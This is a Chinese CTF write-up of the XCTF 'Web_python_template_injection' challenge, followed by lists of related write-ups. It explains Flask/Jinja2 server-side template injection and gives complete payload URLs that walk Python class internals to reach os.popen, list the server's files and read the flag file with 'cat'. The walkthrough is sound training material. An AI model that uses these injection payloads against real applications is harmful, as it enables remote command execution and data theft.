XCTF-WEB-高手进阶区-Web_python_template_injection-笔记
Web_python_template_injection
o(╥﹏╥)o从这里开始题目就变得有点诡谲了
网上搜索相关教程的确是一知半解,大概参考了如下和最后的WP:
http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti
https://xz.aliyun.com/t/3679#toc-8 (这篇讲的特别好)
https://blog.csdn.net/sxingming/article/details/52071514
https://www.cnblogs.com/tr1ple/p/9415641.html
https://www.freebuf.com/column/187845.html
简单来说还就是代码不规范导致的,渲染函数render_template_string,在使用%s来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析
首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思 考怎样用 python 语句获取控制台权限:想到了 `os.system` 和 `os.popen`, 这两句前 者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是 内容,所所以选择 `os.popen`
知道了要用这一句,那么我要怎么找到这一句呢?
__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用
首先,找到当前变量所在的类:
http://159.138.137.79:56645/{{''.__class__}}
得到类:<type 'str'>
接下来查看他的基类:
http://159.138.137.79:56645/{{''.__class__.__mro__}}
得到基类:<type 'str'>, <type 'basestring'>, <type 'object'>
然后,通过基类来找其中任意一个基类的引用列表
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}} ps:mro里面不能不填,测试mro2和mro-1均能弹出来列表,其他的不行
找到Site_Printer() 位于第72位:所以:__subclasses__()[71]
直接使用listdir函数列出当前的文件,并搜索可能存在的flag文件或者:通过 `` 来 调用服务器的控制台并显示
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
返回:
URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found
得到名字以后使用文件名.read()的方式读取:
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
获得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found
得到flag
XCTF-WEB-高手进阶区-Web_python_template_injection-笔记的更多相关文章
- 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup
攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...
- 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...
- 攻防世界 WEB 高手进阶区 XCTF 4th-CyberEarth ics-06 Writeup
攻防世界 WEB 高手进阶区 XCTF 4th-CyberEarth ics-06 Writeup 题目介绍 题目考点 掌握暴力破解手段 Writeup 打开链接 http://220.249.52. ...
- 攻防世界 WEB 高手进阶区 unserialize3 Writeup
攻防世界 WEB 高手进阶区 unserialize3 Writeup 题目介绍 题目考点 PHP反序列化 __wakeup漏洞 Writeup 题名 unserialize 是反序列化函数名 了解一 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
- 攻防世界 WEB 高手进阶区 upload1 Writeup
攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进 ...
- 攻防世界 WEB 高手进阶区 PHP2 Writeup
攻防世界 WEB 高手进阶区 PHP2 Writeup 题目介绍 题目考点 url 二次解码 index.phps 文件(第一次使用dirsearch可能扫不到,需要加到工具字典里) php 简单语法 ...
- 攻防世界 WEB 高手进阶区 NSCTF web2 Writeup
攻防世界 WEB 高手进阶区 NSCTF web2 Writeup 题目介绍 题目考点 php基本函数语法 加密解密函数 base64_decode().str_rot13() 字符串反转函数 str ...
随机推荐
- nginx 信号管理
本内容只针对nginx 关闭操作罗列方法技巧,不废话直接写,Nginx的信号控制如下: 1. TERM, INT 强制关闭进程 查看nginx进程ps -aux|grep nginx root 8 ...
- 将python3打包成为exe可执行文件(pyinstaller)
我们工作中可能会遇到,客户需要一个爬虫或者其他什么功能的python脚本. 这个时候,如果我们直接把我们的python脚本发给客户,会有两个问题: 1.客户的电脑或者服务器可能并没有安装python环 ...
- Ethical Hacking - GAINING ACCESS(4)
SERVER SIDE ATTACKS - METASPLOIT Metasploit is an exploit development and execution tool. It can als ...
- koa中是如何封装获取客户端IP的?
案例 var koa = require('koa') var app = new koa() app.use(function (ctx,next) { ctx.body = ctx.ip }) a ...
- 性能测试必备知识(4)- 使用 stress 和 sysstat
做性能测试的必备知识系列,可以看下面链接的文章哦 https://www.cnblogs.com/poloyy/category/1806772.html stress 介绍 Linux 系统压力测试 ...
- NVIDIA GPU Turing架构简述
NVIDIA GPU Turing架构简述 本文摘抄自Turing官方白皮书:https://www.nvidia.com/content/dam/en-zz/Solutions/design-vis ...
- 搭建高可用kubernetes集群(keepalived+haproxy)
序 由于单master节点的kubernetes集群,存在master节点异常之后无法继续使用的缺陷.本文参考网管流程搭建一套多master节点负载均衡的kubernetes集群.官网给出了两种拓扑结 ...
- MySQL数据库---前言
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下公司.MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面MySQL是最好的 RDBMS ...
- 高阶Pandas知识图谱-《利用Python进行数据分析》
所有内容整理自<利用Python进行数据分析>,使用MindMaster Pro 7.3制作,emmx格式,源文件已经上传Github,需要的同学转左上角自行下载或者右击保存图片. 其他章 ...
- 题解 洛谷 P4694 【[PA2013]Raper】
首先考虑题目的性质,不难发现光盘的花费是一个凸函数.当生产 \(0\) 张光盘时,其花费为 \(0\),随着光盘生产数的增加,最优情况肯定是先选择工厂便宜的时刻,所以花费会增长越来越快,因此其为一个下 ...